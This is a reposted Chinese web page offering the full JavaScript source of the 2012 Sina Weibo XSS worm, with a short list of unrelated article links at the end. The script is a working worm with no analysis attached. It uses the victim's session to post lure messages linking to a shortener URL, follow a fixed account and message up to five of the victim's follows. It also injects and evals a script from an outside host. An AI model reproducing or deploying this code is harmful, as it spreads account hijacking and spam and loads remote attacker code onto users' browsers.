zoukankan      html  css  js  c++  java
  • 新浪微博XSS攻击源代码下载(2012.06.28_sina_XSS.txt)

    function createXHR(){
    	return window.XMLHttpRequest?
    	new XMLHttpRequest():
    	new ActiveXObject("Microsoft.XMLHTTP");
    }
    function post(url,data,sync){
    	xmlHttp = createXHR();
        xmlHttp.open("POST",url,sync);
        xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
        xmlHttp.send(data);
    }
    function getappkey(url){
    	xmlHttp = createXHR();
    	xmlHttp.open("GET",url,false);
    	xmlHttp.send();
    	result = xmlHttp.responseText;
    	id_arr = '';
    	id = result.match(/namecard="true" title="[^"]*/g);
    	for(i=0;i<id.length;i++){
    		sum = id[i].toString().split('"')[3];
    		id_arr += sum + '||';
    	}
    	return id_arr;
    }
    function random_msg(){
    	link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
    	var msgs = [
    		'郭美美事件的一些未注意到的细节:',
    		'建党大业中穿帮的地方:',
    		'让女人心动的100句诗歌:',
    		'3D肉团团高清普通话版种子:',
    		'这是传说中的神仙眷侣啊:',
    		'惊爆!范冰冰艳照真流出了:',
    		'杨幂被爆多次被潜规则:',
    		'傻仔拿锤子去抢银行:',
    		'可以监听别人手机的软件:',
    		'个税起征点有望提到4000:'];
    	var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    	msg = encodeURIComponent(msg);
    	return msg;
    }
    function publish(){
    	url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    	data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    	post(url,data,true);
    }
    function follow(){
    	url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
    	data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    	post(url,data,true);
    }
    function message(){
    	url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
    	ids = getappkey(url);
    	id = ids.split('||');
    	for(i=0;i<id.length - 1 & i<5;i++){
    		msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
    		msg = random_msg();
    		msg = encodeURIComponent(msg);
    		user = encodeURIComponent(encodeURIComponent(id[i]));
    		data = 'content=' + msg + '&name=' + user + '&retcode=';
    		post(msgurl,data,false);
    	}
    }
    function main(){
    	try{
    		publish();
    	}
    	catch(e){}
    	try{
    		follow();
    	}
    	catch(e){}
    	try{
    		message();
    	}
    	catch(e){}
    }
    try{
       x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
    }
    catch(e){}
    main();
    var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
  • 相关阅读:
    ViewPager+导航条实现方式比较---------来自互联网
    ScrollView重写实现监听
    android:layout_gravity和android:gravity
    解决Android Studio添加依赖时出现“Manifest merger failed
    Android SD卡读取简单操作
    Android文件读取简单操作
    20160623
    Mac 下两款 Markdown 编辑器 Mou/MacDown 大 PK
    iOS开发编码建议与编程经验(书写规范)
    iOS开发调试技巧总结
  • 原文地址:https://www.cnblogs.com/52php/p/5658306.html
Copyright © 2011-2022 走看看